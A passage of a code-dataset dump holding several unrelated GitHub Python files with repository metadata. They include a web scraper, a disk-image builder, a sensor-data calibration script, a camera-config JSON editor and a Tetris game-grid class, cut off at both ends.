10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/84.0.4147.135 Safari/537.36'\n}\nresponse = requests.get(url,headers=headers,params=params)\nj_data = response.json()\npprint(j_data)\nwith open('planetary.json', 'w') as f:\n json.dump(response.json(), f)\n","repo_name":"Sharovatov-N/Web_Scraping","sub_path":"lesson_1/lesson 1.py","file_name":"lesson 1.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71192347047","text":"from graph_tool.all import *\n\ndef run():\n g = Graph()\n\n v1 = g.add_vertex()\n v2 = g.add_vertex()\n\n e = g.add_edge(v1, v2)\n\n graph_draw(g, vertex_text=g.vertex_index, output=\"two-nodes.pdf\")\n interactive_window(g)","repo_name":"marcomaida/treecode","sub_path":"prototype/packer/ui/experiments/ui_graph_tool.py","file_name":"ui_graph_tool.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"36520342424","text":"from transfermarkt_datasets.core.asset import Asset\nfrom transfermarkt_datasets.core.schema import Schema, Field\n\nclass CurGameLineupsAsset(Asset):\n\n name = \"cur_game_lineups\"\n description = \"\"\"\n The `games_lineups` asset contains one row per game player in the dataset.\n Players are extracted from the game [\"line-ups\"](https://www.transfermarkt.co.uk/spielbericht/aufstellung/spielbericht/3098550) in transfermarkt and they are tied to one particular `game`, identified by the `game_id` column.\n \"\"\"\n file_name = \"game_lineups.csv.gz\"\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n\n self.schema = Schema(\n fields=[\n Field(\n name='game_lineups_id',\n type='string',\n description=\"Surrogate key\"\n ),\n Field(name='game_id', type='integer'),\n Field(name='player_id', type='integer'),\n Field(name='club_id', type='integer'),\n Field(name='type', type='string'),\n Field(name='player_name', type='string'),\n Field(name='team_captain', type='string'),\n Field(name='number', type='string'),\n Field(name='position', type='string'),\n ]\n )\n\n self.schema.primary_key = [\n 'game_id',\n 'player_id',\n 'club_id',\n ]\n","repo_name":"mhsendur/transfermarkt-datasets","sub_path":"transfermarkt_datasets/assets/cur_game_lineups.py","file_name":"cur_game_lineups.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"20791350257","text":"#! /usr/bin/env python3.3\n\nfrom assembler import assembler\nimport random\n\ndef stripdir(path):\n path = path[max(path.rfind('/'), path.rfind('\\\\')) + 1:]\n return path [:path.rfind('.')]\n\nclass diskfile:\n def __init__(self, diskname, contents):\n dl = diskname.rfind('.')\n self.name = (diskname[:dl] + '\\0' * 8)[:8]\n self.ext = (diskname[dl + 1:] + '\\0' * 3)[:3]\n self.contents = contents\n self.len = len(contents)\n self.slen = ((self.len - 1) >> 9) + 1\n self.fs = 1 if self.len > 0 else 65535\n\n def getdte(self):\n dte = []\n dte.extend(entropy.stringtodat('\"' + self.name + '\"')) #filename\n dte.extend(entropy.stringtodat('\"' + self.ext + '\"')) #ext and flags\n dte.extend([0, 0, 0, 0, 0, 0]) #times\n dte.extend([0, self.len]) #size in words\n dte.append(self.fs) #first sector\n dte.append(0) #unused\n return dte\n\n def getcontents(self, parentdte):\n return self.contents + [0] * (self.slen * 512 - self.len)\n\n def setoffset(self, amount):\n self.fs = amount if self.len > 0 else 65535\n\n def getfslist(self):\n return [(self.fs, self.name.strip('\\0') + '.' + self.ext.strip('\\0'))]\n\nclass diskdir:\n def __init__(self, diskname):\n self.name = (diskname + '\\0' * 8)[:8]\n self.contents = []\n self.len = 16\n self.slen = 1\n self.fs = 0\n self.diskitems = []\n self.changed = True\n\n def getfslist(self):\n r = [(self.fs, self.name.strip('\\0') + '.dir')]\n for di in self.diskitems:\n r.extend(di.getfslist())\n return r\n\n def getdte(self):\n dte = []\n dte.extend(entropy.stringtodat('\"' + self.name + '\"')) #filename\n dte.extend(entropy.stringtodat('\"dir\"')) #ext\n dte[-1] = dte[-1] | 16 #flags\n dte.extend([0, 0, 0, 0, 0, 0]) #times\n dte.extend([0, len(self.diskitems) * 16 + 16]) #size in words\n dte.append(self.fs) #first sector\n dte.append(0) #unused\n return dte\n\n def additem(self, diskitem, path = ''):\n if path:\n path = path.replace('\\\\', '/')\n sl = path.find('/')\n if sl >= 0:\n ndir = (path + '\\0' * 8)[:min(sl, 8)]\n npath = path[sl + 1]\n else:\n ndir = (path + '\\0' * 8)[:8]\n npath = ''\n for di in self.diskitems:\n if type(di) == diskdir and di.name == ndir:\n di.additem(diskitem, npath)\n break\n else:\n print('Warning: Invalid ondisk path: ' + ndir)\n else:\n self.diskitems.append(diskitem)\n self.len = (len(self.diskitems) + 1) * 16\n self.slen = ((len(self.diskitems)) >> 5) + 1 #-1+1\n self.changed = True\n\n def setoffset(self, amount):\n self.fs = amount\n for i in range(len(self.diskitems)):\n self.diskitems[i].setoffset(amount + self.fsecs[i])\n\n def getfsecs(self):\n self.changed = False\n self.slens = []\n self.fsecs = []\n for di in self.diskitems:\n self.fsecs.append(sum(self.slens) + self.slen)\n if type(di) == diskfile:\n self.slens.append(di.slen)\n elif type(di) == diskdir:\n self.slens.append(di.getfsecs())\n di.setoffset(self.fsecs[-1])\n return sum(self.slens) + self.slen\n\n def getfsecs2(self):\n if self.changed:\n return self.getfsecs()\n else:\n return sum(self.slens) + self.slen\n\n def getfat(self):\n self.getfsecs2()\n fat = []\n if self.diskitems:\n fat.extend(range(self.fs + 1, self.fs + self.slen))\n fat.append(65535)\n for di in self.diskitems:\n if type(di) == diskfile:\n if di.slen > 0:\n fat.extend(range(di.fs + 1, di.fs + di.slen))\n fat.append(65535)\n elif type(di) == diskdir:\n if di.slen > 0:\n fat.extend(di.getfat())\n return fat\n\n def getcontents(self, parentdte):\n self.getfsecs2()\n r = parentdte\n #DTE table\n for di in self.diskitems:\n r.extend(di.getdte())\n r.extend([0] * (self.slen * 512 - len(r)))\n\n #contents\n for di in self.diskitems:\n r.extend(di.getcontents(self.getdte()))\n return r\n\n def getcontents2(self):\n self.getfsecs2()\n #FAT table\n r = self.getfat()\n r.extend([0] * (1536 - len(r)))\n #DTE table\n #data\n r.extend(self.getcontents(self.getdte()))\n return r\n \n\nusedd = False\nusebe = False\n\nprint('Press enter to load default configuration.')\nprint('Type characters for other configurations.')\nprint('d = use disk_data.dasm, b = use big endian.')\nconfig = input('usr>')\nif 'd' in config: usedd = True\nif 'b' in config: usebe = True\n\nif True:\n try:\n entropy = assembler('../src/Kernel/main.dasm', True)\n if not entropy.success:\n print('Entropy main file missing!')\n print('\\n====== BUILD FAILED ======\\n')\n nul = input('Press enter to continue...')\n exit()\n diskdata = assembler('../src/Kernel/disk_data.dasm', True)\n if not diskdata.success:\n print('disk_data.dasm missing, diskdata option unavailable')\n usedd = False\n disklist = entropy.readfile('disklist.txt')\n filedata = []\n if not disklist:\n print('disklist.txt not found, no files were added.')\n\n rs = ((len(entropy.words) - 1) >> 9) + 1\n out = []\n out.append(0xc382) #bootflag\n out.append(0x164a) #filesystem descriptor\n out.extend(entropy.stringtodat('\"EntropyLive\\0\"')) #disk name\n out.append(rs) #reserved sectors\n out.append(1) #number of FAT tables\n out.append(512) #words per sector\n out.append(1440) #number of sectors on disk\n out.append(random.randint(0, 65535))\n out.append(random.randint(0, 65535))\n out.append(random.randint(0, 65535))\n out.append(random.randint(0, 65535)) #random disk ID\n out.extend(entropy.words[16:]) #entropy code\n out.extend([0] * (512 * rs - len(out))) #filler\n if usedd:\n out.extend(diskdata.words)\n elif disklist:\n root = diskdir('')\n for i in disklist:\n if '\"' in i or \"'\" in i:\n args = entropy.stringre.findall(i)\n args = [x[1:-1] for x in args]\n else:\n args = entropy.notwsre.findall(i)\n com = args[0] if len(args) > 0 else ''\n file = args[1] if len(args) > 1 else ''\n path = args[2] if len(args) > 2 else ''\n if com == 'bin':\n file = '../bin/' + file\n tmp = entropy.readbin(file)\n if tmp:\n root.additem(diskfile(stripdir(file), tmp.words), path)\n else:\n print('Failed to access file: ' + i)\n elif com == 'file':\n file = '../src/' + file\n tmp = assembler(file, True)\n if tmp.success:\n root.additem(diskfile(stripdir(file), tmp.words), path)\n elif com == 'dir':\n root.additem(diskdir(file), path)\n else:\n print('Could not interpret disklist entry: ', i)\n out.extend(root.getcontents2())\n if True:\n sl = []\n sl.append((0, 'Entropy'))\n sl.append((rs, 'FAT'))\n sl += [(a + rs + 3, b) for a, b in root.getfslist()]\n sl.append((len(out) // 512, 'empty'))\n for i in range(len(sl) - 1):\n for j in range(sl[i][0], sl[i + 1][0]):\n print('Sector' + format(j, '4') + ' contains: ' + sl[i][1])\n \n if not entropy.writebin('../bin/entropy.img', out, not usebe):\n print('Could not access output file: ../bin/entropy.img')\n print('\\n====== BUILD FAILED ======\\n')\n nul = input('Press enter to continue...')\n else:\n print('\\n====== BUILD SUCCESS ======\\n')\n except:\n print('\\n====== BUILD FAILED ======\\n')\n nul = input('Press enter to continue...')\n raise\n nul = input('Press enter to continue...')\n\n","repo_name":"Lukew4lker/Entropy_Local","sub_path":"build/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":8672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28148282370","text":"\"\"\" Enter date and this script will, in turn,:\n \n - Open the valid data folders in the raw data directory (in this case,\n valid if containing 'Kg' in folder name\n \n - Find the mass if said folder\n \n - Open and read the calibration index for that mass' set of data \n (c. index per mass)\n \n - Iterate through the valid data files (containing, say '2020' in their\n name (other possibility is opening calibration_index.csv (not wanted)))\n \n - Uses the time in the raw file's name to find the corresponding\n raw-tare files (whole raw filename doesn't work for some reason)'\n \n - Get rid of /directory/ in calibration index's filename because / \n needs to be \\. Also, adds .csv to end\n \n - Since tare file path shares same date and folder name, use same\n one as used for raw to open up tare file\n \n - Calibrate as before,\n \n - In some instances, filter function raises ValueError and KeyError,\n use try, except, else to ignore these cases. Add misbehaving files\n to a list to make note of and *FIX WHEN YOU HAVE MORE TIME*\n \n - Make new dataframe for calibrated values, using raw['time(s)'] to \n inititialise new df\n \n - Save this df as csv ALL IN THE SAME FOLDER (enough info in \n csv file names to ID)\n \"\"\"\n \nimport glob\nimport os\nimport pandas as pd\nimport re\nimport Post_processing_functions as pp\nVE = []\nKE = []\nbadfiles = []\nj = 0\n# # # Make table of masses to actual masses 1kg --> 1.09kg\n\n\n# Find date from folder name in raw data folder\ndate = '26-04-2020'\n\n# OPEN RAW \nraw_loc = r'C:\\Users\\mtirb\\Documents\\MSci-Project\\Data\\Raw Recorded Data'\ndate = date\ntare_loc = r'C:\\Users\\mtirb\\Documents\\MSci-Project\\Data\\Tares'\ncalibrated_folder = r'C:\\Users\\mtirb\\Documents\\MSci-Project\\Data\\Calibrated Data'\n\n\n# find date's data\nfor folder in os.listdir(os.path.join(raw_loc, date)):\n \n # find valid data folders i.e don't open testing\n if \"Kg\" in folder:\n # printing folders here gives 0.5Kg_Steps,...\n\n # determine mass used from folder name\n mass = float(folder.split('Kg')[0])\n \n # open calibration index for \\date\\xKg here\n index_path = os.path.join(raw_loc,date,folder,'Calibration_index.csv')\n index_data = pd.read_csv(index_path, index_col=0, header=None) \n\n \n # All data files in given date folder\n for raw_filename in os.listdir(os.path.join(raw_loc, date, folder)):\n # find valid data files i.e don't open index.csv\n \n if \"2020\" in raw_filename:\n print('folder: ', folder)\n print('raw data file: ', raw_filename)\n # Open raw data file as df\n raw_path = os.path.join(raw_loc,date,folder,raw_filename)\n raw_file = pd.read_csv(raw_path) # df\n\n # Find corresponding tare file here, using calibraion index\n \"\"\" For some reason, str.contains method cannot returns \n Falses when you try and find the whole raw filename\n (minus the .csv) Instead, use time as the unique ID \n (last hh-mm-ss (-12 to -4 chars b/c of .csv)\"\"\"\n \n time = raw_filename[-12:-4] # use unique time to ID file\n\n tare_filename = index_data[index_data.iloc[:,0].str.contains(time,case=False)].iloc[:,1][0]\n \n \"\"\" Note: formatting not consistent. If date = 13-04-2020 then\n do this because tare files in calibration index\n has the format /0.5Kg_Steps/2020-04-13_10-54-39 instead\n of 2020-04-13_10-54-39.csv: \n \n # Note: \n # 1) 1st column raw, 2nd column tare \n # 2) returns tare_filename in the format /0.5Kg_Steps/2020-04-13_10-54-39\n \n # Not ideal because os.join can't join because of / needs to be \\\n # GRRR do manually\n tare_filename = tare_filename[-19:] +'.csv'\n # Now in format: 2020-04-13_10-54-39.csv\"\"\"\n\n\n tare_path = os.path.join(tare_loc,date,folder,tare_filename)\n tare_file = pd.read_csv(tare_path) # df\n \n \n \"\"\"Calibrate\"\"\"\n # (1) Filter \n try: \n filtered_values = pp.filter_values(raw_file)\n except (ValueError):#,KeyError):\n VE.append([folder,raw_filename])\n except (KeyError):\n KE.append([folder,raw_filename])\n else:\n # (2) Calibrate\n calibrated_forces = pp.post_calibrate_values(filtered_values, tare_file)\n calibratedLC1 = calibrated_forces[0]\n calibratedLC2 = calibrated_forces[1]\n calibratedLC3 = calibrated_forces[2]\n calibratedLC4 = calibrated_forces[3]\n \n \n # (3) Group forces\n total_forces, left_forces, right_forces, back_forces, front_forces = pp.group_forces(calibrated_forces)\n \n # (4) Calibrate timings\n raw_file['Time'] = pp.calibrate_timings(raw_file)\n \n # (5) Make new calibrated df with time column from raw df\n calibrated_data = raw_file[['Time']].copy()\n \n # (6) Add helpful columns of data\n calibrated_data['Total_Forces'] = total_forces\n calibrated_data['Left_Forces'] = left_forces\n calibrated_data['Right_Forces'] = right_forces\n calibrated_data['Back_Forces'] = back_forces\n calibrated_data['Front_Forces'] = front_forces\n calibrated_data['Total_Mass'] = total_forces/9.81\n\n calibrated_data['LC1'] = calibratedLC1\n calibrated_data['LC2'] = calibratedLC2\n calibrated_data['LC3'] = calibratedLC3\n calibrated_data['LC4'] = calibratedLC4\n \n # (7) Save df as csv\n calibrated_filename = '{}kg_({})_{}.csv'.format(mass, date, time)\n calibrated_path = os.path.join(calibrated_folder, calibrated_filename)\n calibrated_data.to_csv(calibrated_path)\n \nprint(len(VE), len(KE))\n\n# Problem with filter function on some data ---> try to debug (see try, except)\n# In the meanwhile, append troublesome files to VE, KE (Value/KeyError) \n#print(len(VE))\n# print(len(KE))\n\n# KE\n# VE\n\n# calibrated_data.Total_Forces.round(3).mode()\n\n# calibrated_data.Total_Forces.plot.hist()\n \n#calibrated_data.plot(x='Time', y='Total_Forces') \n\n# calibrated_data.Total_Forces.round(2).value_counts() \n\n#calibrated_data.Total_Forces[calibrated_data.Total_Forces>12].dropna()\n","repo_name":"mtirbhowan/MSci-Project","sub_path":"Data_Analysis/Calibrate_data.py","file_name":"Calibrate_data.py","file_ext":"py","file_size_in_byte":7151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73091207209","text":"soma_idade = 0\nmaior_idade = -1\nh_m_velho = ''\nmulh_menr_20 = 0\nfor i in range(0,4):\n nomes = str(input('Digite o nome da {}ª pessoa: '.format(i+1)))\n idades = int(input('Digite a idade da {}ª pessoa: '.format(i+1)))\n sexo = int(input('''selecione o sexo da {}ª pessoa:\n1 - Homem\n2 - Mulher\n'''.format(i+1)))\n if sexo == 1 and idades > maior_idade:\n maior_idade = idades\n h_m_velho = nomes\n elif sexo == 2:\n if idades > 20:\n mulh_menr_20 = mulh_menr_20 + 1\n soma_idade = soma_idade + idades\nprint('a média de idadades é de {} ano(s)'.format(soma_idade/4))\nprint('O homem mais velho é o {} com {} anos'.format(h_m_velho, maior_idade))\nprint('Há {} mulher(es) com mais de 20 anos'.format(mulh_menr_20))","repo_name":"HLAvieira/Curso-em-Video-Python3","sub_path":"Pacote-download/aulas_python_cev/ex_56_.py","file_name":"ex_56_.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73173564968","text":"import json\nimport glom\nimport os\n\ndef add_in_list(path_to_list, iterate_over, complete_json, to_append):\n to_be_iterate = []\n secondary_path = \"\"\n primary_path = \"\"\n for i in range(0,len(path_to_list)):\n\n if iterate_over >= i:\n to_be_iterate = complete_json[path_to_list[i]]\n if primary_path == \"\":\n primary_path += path_to_list[i]\n\n else:\n primary_path += \".\" + primary_path\n\n else:\n if secondary_path == \"\":\n secondary_path += path_to_list[i]\n\n else:\n secondary_path += \".\" + secondary_path\n\n temp_list = [] \n\n for i in range(0,len(to_be_iterate)):\n final_list = glom.glom(to_be_iterate[i], secondary_path)\n final_list.append(to_append)\n glom.assign(to_be_iterate[i], secondary_path, final_list)\n \n glom.assign(complete_json, primary_path, to_be_iterate) \n return complete_json \n\ndef replace_in_algo(algo_type, field_to_replace, replace_with,complete_json):\n all_cameras = complete_json[\"cameras\"]\n \n for i in range(0, len(all_cameras)):\n algos = all_cameras[i][\"algorithms\"]\n\n for j in range(0,len(algos)): \n if algos[j][\"algo\"] == algo_type:\n algos[j][field_to_replace] = replace_with\n\n all_cameras[i][\"algorithms\"] = algos\n\n complete_json[\"cameras\"] = all_cameras\n\n return complete_json\n\ndef add_in_list2(path_to_list, iterate_over, complete_json, to_append):\n to_be_iterate = []\n secondary_path = \"\"\n primary_path = \"\"\n for i in range(0,len(path_to_list)):\n\n if iterate_over >= i:\n to_be_iterate = complete_json[path_to_list[i]]\n if primary_path == \"\":\n primary_path += path_to_list[i]\n\n else:\n primary_path += \".\" + primary_path\n\n else:\n if secondary_path == \"\":\n secondary_path += path_to_list[i]\n\n else:\n secondary_path += \".\" + secondary_path\n\n temp_list = [] \n\n for i in range(0,len(to_be_iterate)):\n final_list = glom.glom(to_be_iterate[i], secondary_path)\n final_list.append(to_append)\n\n glom.assign(to_be_iterate[i], secondary_path, final_list)\n \n glom.assign(complete_json, primary_path, to_be_iterate) \n return complete_json\n \ndef add_queue_algo(complete_json):\n all_cams = complete_json[\"cameras\"]\n all_queue = []\n sample_algo = {\n \"algo\": \"QUEING\",\n \"threshold_time\": 20,\n \"roi_conf\": [\n {\n \"ROI\": [\n {\n \"x\": 0.606,\n \"y\": 0.275\n },\n {\n \"x\": 0.791,\n \"y\": 0.537\n },\n {\n \"x\": 0.006,\n \"y\": 0.798\n },\n {\n \"x\": 0.003,\n \"y\": 0.454\n }\n ],\n \"unique_roi_id\": \"DU4\"\n }\n ]\n }\n for i in range(0,len(all_cams)):\n sample_algo = {\n \"algo\": \"QUEING\",\n \"threshold_time\": 20,\n \"roi_conf\": []\n }\n for j in range(0, len(all_cams[i][\"algorithms\"])):\n\n if all_cams[i][\"algorithms\"][j][\"algo\"] == \"FUELLING\":\n\n for k in range(0,len(all_cams[i][\"algorithms\"][j][\"roi_conf\"])):\n queue_roi = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"roi_FSM\"]\n du_name = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"unique_roi_id\"]\n\n sample_algo[\"roi_conf\"].append({\"ROI\": queue_roi, \"unique_roi_id\": du_name})\n \n all_cams[i][\"algorithms\"].append(sample_algo)\n\n complete_json[\"cameras\"] = all_cams\n return complete_json\n\ndef add_uniform_algo(complete_json):\n all_cams = complete_json[\"cameras\"]\n all_queue = []\n sample_algo = {\n \"algo\": \"UNIFORM_CHECK\",\n \"roiconfig\": [\n {\n \"frame_count_threshold_for_violation\": 20,\n \"unique_roi_id\": \"DU15\",\n \"roi\": [\n { \"x\": 0.612, \"y\": 0.364 },\n { \"x\": 0.854, \"y\": 0.386 },\n { \"x\": 0.926, \"y\": 0.652 },\n { \"x\": 0.633, \"y\": 0.620 }\n ]\n }\n ]\n }\n for i in range(0,len(all_cams)):\n sample_algo = {\n \"algo\": \"UNIFORM_CHECK\",\n \"roiconfig\": []\n }\n for j in range(0, len(all_cams[i][\"algorithms\"])):\n\n if all_cams[i][\"algorithms\"][j][\"algo\"] == \"FUELLING\":\n\n for k in range(0,len(all_cams[i][\"algorithms\"][j][\"roi_conf\"])):\n queue_roi = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"roi_FSM\"]\n du_name = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"unique_roi_id\"]\n\n sample_algo[\"roiconfig\"].append({\"frame_count_threshold_for_violation\": 30,\"unique_roi_id\": du_name,\"roi\": queue_roi})\n \n all_cams[i][\"algorithms\"].append(sample_algo)\n\n complete_json[\"cameras\"] = all_cams\n print(queue_roi)\n return complete_json\n\ndef roi_extract_algo(complete_json):\n all_cams = complete_json[\"cameras\"]\n print(len(all_cams))\n all_queue = []\n for i in range(0,len(all_cams)):\n for j in range(0, len(all_cams[i][\"algorithms\"])):\n if all_cams[i][\"algorithms\"][j][\"algo\"] == \"SPILLAGE\":\n for k in range(0,len(all_cams[i][\"algorithms\"][j][\"roi_conf\"])):\n queue_roi = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k]\n du_name = all_cams[i][\"algorithms\"][j][\"roi_conf\"][k][\"unique_roi_id\"]\n print(queue_roi)\n print(\"ROI ID:\", du_name)\n\n \n\n # complete_json[\"cameras\"] = all_cams\n \n # return complete_json\n\nif __name__ == \"__main__\":\n\n all_files = os.listdir('/home/ninad/Music/roi_crop_common/cfgs')\n print(all_files)\n\n for k in range(0, len(all_files)):\n if all_files[k] == \"changed_cfg\" or all_files[k] == \"modify_cfg.py\" or all_files[k] == \"Violations.xlsx\":\n continue\n with open(all_files[k], 'r') as openfile:\n current_file = json.load(openfile)\n\n #print(current_file)\n '''\n a = {\n \"algo\":\"SOCIAL_DISTANCING\",\n \"calib_info\": {\n \"h_ratio\":0.9,\n \"v_ratio\":0.65,\n \"calibration\":0.3\n },\n \"alarm_cooldown_period\":1000,\n \"sd_frames\":3,\n \"sd_ratio\":1,\n \"skip_frames\":1,\n \"bg_sub\":False,\n \"bg_sub_period\":2000,\n \"_BG_SUB_THRESHOLD_COMMENT\":\"bg_sub_threshold between 0 - 100%\",\n \"bg_sub_threshold\":5,\n \"critical_alarm\":False,\n \"_SD_CRITICAL_COMMENT_\":\"Set only if critical_alarm is true\",\n \"critical_threshold\":500\n }\n\n b = {\n \"algo\":\"MASK_COMPLIANCE\",\n \"start_score\":2,\n \"face_score\":5,\n \"mask_score\":6,\n \"alarm_cooldown_period\":3000,\n \"delete_threshold\":100,\n \"solo_exemption\":False\n }\n '''\n try:\n # to_be_written = add_in_list([\"cameras\",\"algorithms\"],0,current_file, a)\n # to_be_written = add_in_list([\"cameras\",\"algorithms\"],0,to_be_written, b)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_PERSON\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_FIRE_EXTINGUISHER\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_BARICADING\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"DECANTATION\", \"ROI_TRUCK\", [{ \"x\": 0.1, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.1 },{ \"x\": 0.98, \"y\": 0.98 },{ \"x\": 0.1, \"y\": 0.98 }],to_be_written)\n # to_be_written = replace_in_algo(\"SOCIAL_DISTANCING\", \"alarm_cooldown_period\", 30000, current_file)\n # to_be_written = replace_in_algo(\"UNIFORM_CHECK\", \"roiconfig.frame_count_threshold_for_violation\", 40, current_file)\n # to_be_written = add_queue_algo(current_file)\n to_be_written = roi_extract_algo(current_file)\n # json_to_be_written = json.dumps(to_be_written, indent = 4)\n\n # with open(\"./changed_cfg/\" + all_files[k], \"w\") as outfile:\n # outfile.write(json_to_be_written)\n except Exception as e:\n print(e)\n print(all_files[k])\n\n ","repo_name":"FalconMadhab/useful_scripts","sub_path":"modify_cfg.py","file_name":"modify_cfg.py","file_ext":"py","file_size_in_byte":9844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19892470574","text":"import lib.stddraw as stddraw # stddraw is used as a basic graphics library\nfrom lib.color import Color # used for coloring the game grid\nfrom point import Point # used for tile positions\nimport numpy as np # fundamental Python module for scientific computing\nimport os\nfrom tetromino import Tetromino\nfrom lib.picture import Picture\nimport copy\nimport time\nfrom SoundCaller import SoundCaller\n# Class used for modelling the game grid\nclass GameGrid:\n\t# Constructor for creating the game grid based on the given arguments\n def __init__(self, grid_h, grid_w):\n # set the dimensions of the game grid as the given arguments\n self.grid_height = grid_h\n self.grid_width = grid_w\n # create a tile matrix to store the tiles landed onto the game grid\n self.tile_matrix = np.full((grid_h, grid_w), None)\n # create the tetromino that is currently being moved on the game grid\n self.current_tetromino = None\n #self.next_tetromino = None#\n self.next_tetrominos = []\n # the game_over flag shows whether the game is over or not\n self.game_over = False\n # set the color used for the empty grid cells\n self.empty_cell_color = Color(154,146,145)#Color(206,195,181)#rgba(206,195,181,255)#Color(42, 69, 99)\n # set the colors used for the grid lines and the grid boundaries\n self.line_color = Color(132,122,113)#Color(188,175,162)#Color(0, 100, 200)\n self.boundary_color = Color(132,122,113)#rgba(188,175,162,255)#Color(0, 100, 200)\n # thickness values used for the grid lines and the boundaries\n self.line_thickness = 0.002#2\n self.box_thickness = 40 * self.line_thickness\n # self.mainboundary_color = Color(132,122,113)\n\n self.score = 0\n self.time = 0\n # Method used for displaying the game grid\n def display(self):\n # clear the background to empty_cell_color\n stddraw.clear(self.empty_cell_color)\n # draw the game grid\n self.draw_grid()\n self.ShowFallLocation()\n # draw the current/active tetromino if it is not None (the case when the \n # game grid is updated)\n if self.current_tetromino is not None:\n self.current_tetromino.draw()\n # draw a box around the game grid\n self.draw_boundaries()\n # show the resulting drawing with a pause duration = 250 ms\n self.ShowNextTetromino()\n #self.ShowFallLocation()\n self.ShowScore()\n self.ShowTime()\n stddraw.show(250)#250\n \n # Method for drawing the cells and the lines of the game grid\n def draw_grid(self):\n # for each cell of the game grid\n for row in range(self.grid_height):\n for col in range(self.grid_width):\n # draw the tile if the grid cell is occupied by a tile\n if self.tile_matrix[row][col] is not None:\n self.tile_matrix[row][col].draw(Point(col, row))\n # draw the inner lines of the grid\n stddraw.setPenColor(self.line_color)\n stddraw.setPenRadius(self.line_thickness)\n # x and y ranges for the game grid\n start_x, end_x = -0.5, self.grid_width - 0.5\n start_y, end_y = -0.5, self.grid_height - 0.5\n for x in np.arange(start_x + 1, end_x, 1): # vertical inner lines\n stddraw.line(x, start_y, x, end_y)\n for y in np.arange(start_y + 1, end_y, 1): # horizontal inner lines\n stddraw.line(start_x, y, end_x, y)\n stddraw.setPenRadius() # reset the pen radius to its default value \n \n # Method for drawing the boundaries around the game grid \n def draw_boundaries(self):\n # draw a bounding box around the game grid as a rectangle\n stddraw.setPenColor(self.boundary_color) # using boundary_color\n # set the pen radius as box_thickness (half of this thickness is visible\n # for the bounding box as its lines lie on the boundaries of the canvas)\n stddraw.setPenRadius(self.box_thickness/10)\n # the coordinates of the bottom left corner of the game grid\n pos_x, pos_y = -0.5, -0.5\n stddraw.rectangle(pos_x, pos_y, self.grid_width, self.grid_height)\n stddraw.rectangle(9.4,-0.5, self.grid_width / 2 - 0.9, self.grid_height)#-0.5,-0.2\n #stddraw.rectangle(9.8, 17.4, self.grid_width / 2 - 1.7, self.grid_height / 11)# stddraw.rectangle(9.4, 17.5, self.grid_width / 2 - 0.9, self.grid_height / 9)\n #stddraw.rectangle(9.4, -2, self.grid_width / 2 - 0.9, self.grid_height / 1.3)\n #stddraw.line(9.4,-0.3, self.grid_width / 2, 0.1)\n stddraw.setPenRadius() # reset the pen radius to its default value\n\n # Method used for checking whether the grid cell with given row and column \n # indexes is occupied by a tile or empty\n def is_occupied(self, row, col):\n # considering newly entered tetrominoes to the game grid that may have \n # tiles with position.y >= grid_height\n if not self.is_inside(row, col):\n return False\n # the cell is occupied by a tile if it is not None\n return self.tile_matrix[row][col] is not None\n \n # Method used for checking whether the cell with given row and column indexes \n # is inside the game grid or not\n def is_inside(self, row, col):\n if row < 0 or row >= self.grid_height:\n return False\n if col < 0 or col >= self.grid_width:\n return False\n return True\n def is_inside_horizontal(self, col):\n if col < 0 or col >= self.grid_width:\n return False\n return True\n def is_inside_vertical(self, row):\n if row < 0 or row >= self.grid_height:\n return False\n return True\n # Method that locks the tiles of the landed tetromino on the game grid while\n # checking if the game is over due to having tiles above the topmost grid row.\n # The method returns True when the game is over and False otherwise.\n def update_grid(self, tiles_to_lock, blc_position):\n # necessary for the display method to stop displaying the tetromino\n self.current_tetromino = None\n # lock the tiles of the current tetromino (tiles_to_lock) on the game grid \n n_rows, n_cols = len(tiles_to_lock), len(tiles_to_lock[0])\n for col in range(n_cols):\n for row in range(n_rows): \n # place each tile onto the game grid\n if tiles_to_lock[row][col] is not None:\n # compute the position of the tile on the game grid\n pos = Point()\n pos.x = blc_position.x + col\n pos.y = blc_position.y + (n_rows - 1) - row\n if self.is_inside(pos.y, pos.x):\n self.tile_matrix[pos.y][pos.x] = tiles_to_lock[row][col]\n # the game is over if any placed tile is above the game grid\n else:\n self.game_over = True\n # return the game_over flag\n #print(self.tile_matrix.__str__())\n return self.game_over\n\n # Clears the filled rows if there is a row that all of it's columns are filled\n def ClearHorizontal(self):\n #will_cleared_horizontal = 